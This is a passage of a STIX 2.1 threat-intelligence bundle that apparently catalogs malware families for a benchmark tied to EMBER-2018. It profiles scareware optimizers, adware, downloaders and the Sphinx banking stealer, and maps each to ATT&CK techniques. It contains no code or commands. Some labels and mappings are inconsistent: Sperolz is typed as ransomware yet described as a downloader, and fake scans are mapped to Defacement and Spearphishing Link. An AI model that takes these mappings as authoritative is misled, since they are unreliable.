      "description": "Program:Win32/Speedcat is a deceptive Potentially Unwanted Program (PUA) that masquerades as a legitimate 'System Optimizer' or 'Registry Cleaner'. It utilizes aggressive, scareware-like tactics to convince users that their computer is heavily fragmented, infected with errors, or running critically slow. Its ultimate goal is not to improve system performance, but to frighten the user into purchasing a premium 'license' to fix the fabricated issues it supposedly found.<br><br><b>Understanding Speedcat (Rogue Optimizers)</b><br>To an end-user, Speedcat often appears helpful, displaying professional-looking interfaces and progress bars. For an enterprise, it represents a security risk and a source of IT support overhead. These rogue optimizers often make unauthorized, damaging changes to the Windows Registry in an attempt to 'clean' it, leading to system instability and application crashes. Furthermore, they are frequently bundled with actual adware and browser hijackers.<br><br><b>Execution and Extortion Mechanics</b><br>Speedcat is typically distributed via deceptive malvertising (fake 'Update Your Drivers' pop-ups) or bundled with other freeware (`T1189`). Upon execution (`T1204.002`), it establishes persistence via the Registry Run keys or Scheduled Tasks (`T1547.001`) to ensure it launches on boot. It immediately runs a high-speed 'scan' that invariably flags hundreds of normal registry entries, temporary files, and tracking cookies as 'Critical System Errors' (`T1491`). When the user attempts to click 'Fix Issues', the software blocks the action and redirects the user to an online payment portal, demanding a subscription fee to unlock the remediation features.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is user deception, potential financial fraud, and system instability caused by aggressive registry deletion. IoCs are highly visible: persistent pop-ups warning of system errors, and a new, unapproved application icon in the system tray. EDR logs will show the software making extensive, questionable modifications to `HKLM` and `HKCU` registry hives under the guise of optimization. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Speedcat",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/speedcat"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--33edd792-1ff4-5876-801c-9e3e085eae67",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f112c03a-fc13-5e7c-9951-ee7e25f39f3c",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Speedcat exhibits technique T1189 (Drive-by Compromise (Deceptive ads and bundling))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--722b91d1-6387-5c53-9836-22fccb51d9aa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f112c03a-fc13-5e7c-9951-ee7e25f39f3c",
      "target_ref": "attack-pattern--c79f8b9c-f6e3-550e-85cc-41fb2ac75634",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Speedcat exhibits technique T1491 (Defacement (Displaying fake error reports))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--46301e53-4f68-5e66-ac87-74f0d311ede5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f112c03a-fc13-5e7c-9951-ee7e25f39f3c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Speedcat exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2e4ada43-5b68-5fa1-a8d2-f939a6b136ca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f112c03a-fc13-5e7c-9951-ee7e25f39f3c",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Speedcat exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2aca3fa0-045f-534f-870c-5c042ac4b883",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Speedchecker",
      "description": "PUA:Win32/Speedchecker is a Potentially Unwanted Program (PUA) and adware family that masquerades as a 'PC Optimization' or 'Internet Speed Test' utility. Much like rogue antivirus software, Speedchecker utilizes deceptive marketing and alarming, fabricated scan results to convince users that their computer is running slowly due to 'critical errors', ultimately coercing them into purchasing a premium subscription to fix issues that do not actually exist.<br><br><b>Understanding Speedchecker Scareware</b><br>To an end-user, Speedchecker is a source of anxiety. They download it to check their internet speed, and suddenly they are bombarded with flashing warnings claiming their registry is corrupted or their hard drive is fragmented. For a security analyst, Speedchecker is a manipulative fraud. The software provides no actual optimization; its sole purpose is aggressive upselling and the silent installation of bundled adware trackers.<br><br><b>Execution and Deception Mechanics</b><br>Speedchecker is heavily distributed via aggressive affiliate marketing, malvertising (fake 'Your PC is Slow' banners), and deceptive software bundlers (`T1189`). When installed (`T1204.002`), it immediately runs a fake 'system scan'. This scan is hardcoded to always find severe issues, regardless of the actual health of the machine (`T1566.002`). It establishes persistence via Registry Run keys and Scheduled Tasks (`T1053.005`) to ensure its alarming pop-ups appear every time the computer boots. It frequently installs browser extensions (`T1176`) to hijack searches and inject advertisements, generating secondary revenue for the developers.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is financial loss for the user and a severely degraded user experience due to constant, intrusive pop-ups, browser hijacking, and system sluggishness caused by the adware trackers. Incident responders will observe the unexpected installation of the Speedchecker GUI. EDR logs will show the creation of multiple persistent startup entries and the silent installation of browser Helper Objects (BHOs). (Observed samples in benchmark: 9)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Speedchecker",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/speedchecker"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e1edc6fd-24eb-5d84-9e6e-4200080e4569",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2aca3fa0-045f-534f-870c-5c042ac4b883",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Speedchecker exhibits technique T1189 (Drive-by Compromise (Bundled Installers and Malvertising))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8d64baf9-6400-514d-b2fe-f8e9c930644e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2aca3fa0-045f-534f-870c-5c042ac4b883",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Speedchecker exhibits technique T1566.002 (Phishing: Spearphishing Link (Deceptive Pop-ups and Fake Scans))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--82400a0d-dab9-580d-9c59-76308a8f4b45",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2aca3fa0-045f-534f-870c-5c042ac4b883",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Speedchecker exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--64388efa-6b19-55d2-ba0d-3a9e31d67366",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2aca3fa0-045f-534f-870c-5c042ac4b883",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Speedchecker exhibits technique T1176 (Browser Extensions (Adware bundling))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d3f468a2-92c2-5f9a-ada5-bd54970c2b96",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Speedingupmypc",
      "description": "SpeedingUpMyPC (cataloged by Microsoft Defender as PUA:Win32/SpeedingUpMyPC and tracked by Malwarebytes as PUP.Optional.SpeedingUpMyPC) is a deceptive system optimizer and scareware utility. Frequently installed via bundled software installers, deceptive advertisements warning of severe system degradation, and drive-by download pop-ups, SpeedingUpMyPC performs superficial or fabricated system scans that report hundreds of non-existent critical registry errors, junk files, and performance bottlenecks. The software persistently displays alarming pop-up alerts urging the victim to purchase a paid software license to fix the manufactured issues. SpeedingUpMyPC establishes persistence by adding itself to the Windows Startup folder and creating scheduled tasks to ensure its scareware alerts are displayed on every user logon, degrading system performance and exploiting user fear for financial gain. (Observed samples in benchmark: 740)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUA:Win32/SpeedingUpMyPC",
        "Rogue:Win32/SpeedingUpMyPC",
        "PUP.Optional.SpeedingUpMyPC",
        "SpeedingUpMyPC.Scareware",
        "SpeedUpMyPC.Rogue"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Speedingupmypc",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/speedingupmypc"
        }
      ],
      "labels": [
        "pup",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--685ba583-e160-56ab-bb0b-f196fa4bac71",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d3f468a2-92c2-5f9a-ada5-bd54970c2b96",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Speedingupmypc exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0c53b42e-ffd7-5214-95fb-d80ab7475834",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d3f468a2-92c2-5f9a-ada5-bd54970c2b96",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Speedingupmypc exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--15590898-5e6e-57e5-8006-08a97cf0c7bc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d3f468a2-92c2-5f9a-ada5-bd54970c2b96",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Speedingupmypc exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--913f8c17-6c12-5167-926a-55ed6930df6b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d3f468a2-92c2-5f9a-ada5-bd54970c2b96",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Speedingupmypc exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8a5f1be3-d4a4-55b5-9ce0-46ae9434a43f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d3f468a2-92c2-5f9a-ada5-bd54970c2b96",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Speedingupmypc exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--af95498a-d5b9-5202-8fc5-6cfe02093cf2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d3f468a2-92c2-5f9a-ada5-bd54970c2b96",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Speedingupmypc exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6fa14f3f-a25f-567c-b84b-ac827d8bfbfa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Speesipro",
      "description": "Adware:Win32/Speesipro is an intrusive adware component designed to forcibly alter a user's web browsing experience. It manipulates browser settings to redirect search queries, injects unwanted advertisements into webpages, and tracks user browsing behavior to generate illicit Pay-Per-Click (PPC) revenue for its creators.<br><br><b>Understanding Speesipro</b><br>To an end-user, Speesipro manifests as a sudden, unwanted change to their browser's homepage, new tab page, and the appearance of unremovable toolbars or persistent pop-up ads. For a security team, it represents a breakdown in endpoint hygiene and a potential vector for more serious infections via malvertising (malicious advertisements).<br><br><b>Execution and Hijacking Mechanics</b><br>Speesipro is typically distributed via deceptive software bundles, fake software updates, or malicious browser extensions downloaded from third-party sites (`T1189`). Upon execution, it modifies the Windows Registry (`T1112`) and browser configuration files (e.g., Chrome's `Preferences` file or Firefox's `prefs.js`) to enforce its settings (`T1562.001`). It installs persistent browser extensions or Browser Helper Objects (BHOs) (`T1176`) to monitor searches and ensure the hijacking cannot be easily reversed by the user. These extensions locally intercept web traffic to inject sponsored links directly into the DOM of legitimate websites.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a severely degraded user experience, potential privacy violations (tracking of search queries), and exposure to potentially malicious ads. Host-based IoCs include EDR alerts for modifications to browser shortcut properties, unexpected additions to browser extension directories, or anomalous BHO registrations in the Registry. Network IoCs include DNS queries resolving to adware tracking infrastructure and redirected search traffic containing tracking parameters. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Speesipro",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/speesipro"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2c87fab4-4d17-5994-bc10-b1f597b94fad",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6fa14f3f-a25f-567c-b84b-ac827d8bfbfa",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Speesipro exhibits technique T1176 (Browser Extensions (Installing malicious toolbars/BHOs))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--779a7f33-b0dc-57fc-bb8c-5eeb946c2198",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6fa14f3f-a25f-567c-b84b-ac827d8bfbfa",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Speesipro exhibits technique T1112 (Modify Registry (Changing default search/homepage keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--96e6bf5b-d0a6-5bc0-89c2-e0257ee15568",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6fa14f3f-a25f-567c-b84b-ac827d8bfbfa",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Speesipro exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--28161026-fd8f-5a58-8f9f-cbaef7bfd4f3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6fa14f3f-a25f-567c-b84b-ac827d8bfbfa",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Speesipro exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b142913c-5c46-5b13-abf1-a868580b6338",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sperolz",
      "description": "Trojan:Win32/Sperolz is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Sperolz</b><br>To an end-user, a Sperolz infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Sperolz is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Sperolz is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Sperolz frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Sperolz reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sperolz",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sperolz"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--23bd827c-2ee3-5847-98d5-a8351e981b7f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b142913c-5c46-5b13-abf1-a868580b6338",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sperolz exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5f74d64b-7466-5fea-b4ef-ceda77589d60",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b142913c-5c46-5b13-abf1-a868580b6338",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sperolz exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--334ad06c-c631-57b2-846d-7b68d9d8f19e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b142913c-5c46-5b13-abf1-a868580b6338",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sperolz exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--946c9989-a0c9-5975-871b-2b803d318de0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b142913c-5c46-5b13-abf1-a868580b6338",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sperolz exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--718354e0-60fa-5804-b03c-2c40547f7b0c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b142913c-5c46-5b13-abf1-a868580b6338",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sperolz exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--13850819-be41-5c79-b8cc-c41b817355fa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Spesr",
      "description": "Spesr (cataloged across security intelligence feeds under signatures such as Trojan:Win32/Spesr, Trojan:Win32/Spesr.A, Trojan:Win32/Spesr.B, and Win32/Spesr) is a covert Windows trojan downloader and execution framework active since 2017. Engineered to establish stealthy persistence on targeted enterprise and consumer endpoints, Spesr typically arrives disguised as cracked commercial software, utility installers, or via malicious email attachments. Upon execution, Spesr performs environmental reconnaissance, enumerates active antivirus and security software, and employs process injection (such as hollowing into svchost.exe or explorer.exe) to mask its operational footprint. It connects to remote command-and-control (C2) servers over encrypted HTTP/HTTPS channels to beacon host telemetry, receive operator commands, and retrieve secondary malware payloads including cryptominers, modular infostealers, and ransomware. (Observed samples in benchmark: 38)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Spesr",
        "Trojan:Win32/Spesr.A",
        "Trojan:Win32/Spesr.B",
        "Win32/Spesr",
        "Trojan.Spesr"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Spesr",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/spesr"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--eceece90-2354-5da8-ae05-3bb2cc7840b6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sphinx",
      "description": "Trojan:Win32/Sphinx is a sophisticated Info-Stealer and banking trojan, highly active in targeting financial institutions and cryptocurrency platforms. While it shares some conceptual similarities with older trojans like Zeus, Sphinx operates as a modern, evasive data harvesting tool. It focuses on stealing credentials, session cookies, and financial data by injecting malicious code directly into the user's web browser, effectively performing Man-in-the-Browser (MitB) attacks.<br><br><b>Understanding Sphinx (Info-Stealers)</b><br>To an end-user, the infection is entirely invisible. They log into their bank normally, unaware that Sphinx is silently intercepting their keystrokes and modifying the web page to request additional, fraudulent information (like ATM PINs). For a security analyst, a Sphinx infection represents a critical, immediate breach of highly sensitive credentials and requires a rapid response to prevent financial fraud (`T1111`).<br><br><b>Execution and Espionage Mechanics</b><br>Sphinx is predominantly distributed through highly targeted malspam campaigns (`T1566.001`), often using weaponized Office documents. Upon execution, Sphinx establishes persistence (typically via Registry Run keys - `T1547.001`) and aggressively injects its core DLL payload into running browser processes (like `chrome.exe` or `firefox.exe`) using advanced process hollowing or atom bombing techniques (`T1055`). Once injected, it intercepts API calls related to network communication, allowing it to read all HTTPS traffic in cleartext. It captures login credentials (`T1056.001`), scrapes session cookies (`T1539`), and actively injects fraudulent HTML forms into targeted banking portals (Web Injects - `T1185`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is immediate, devastating financial fraud and credential theft. Host-based IoCs include EDR alerts for 'Suspicious Process Injection' specifically targeting browser executables. The creation of unexpected, randomly named DLLs in the `%AppData%` directory is common. Network IoCs involve the malware beaconing to C2 servers using custom, often encrypted protocols over port 80/443 to receive updated 'web inject' configuration files and to exfiltrate stolen data. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sphinx",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sphinx"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1b411489-68f7-52c4-88d6-ed793b1ce01c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eceece90-2354-5da8-ae05-3bb2cc7840b6",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sphinx exhibits technique T1185 (Browser Session Hijacking (Man-in-the-Browser web injects))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--88d2cfcc-4ff8-512e-ab25-d6e94ec513c3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eceece90-2354-5da8-ae05-3bb2cc7840b6",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sphinx exhibits technique T1055 (Process Injection (Injecting into browser processes to steal data))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b15c763c-ffa4-511f-bbc7-8ab7b3391c7a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eceece90-2354-5da8-ae05-3bb2cc7840b6",
      "target_ref": "attack-pattern--510c8478-024c-53be-b9d9-53f9b7c3bc2c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sphinx exhibits technique T1111 (Two-Factor Authentication Interception (Stealing session cookies to bypass 2FA))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--83c726ec-4f0a-586d-a6ff-7bf88354c23b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eceece90-2354-5da8-ae05-3bb2cc7840b6",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sphinx exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ac843b12-776d-5220-981f-7c70ce39b23c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Spigot",
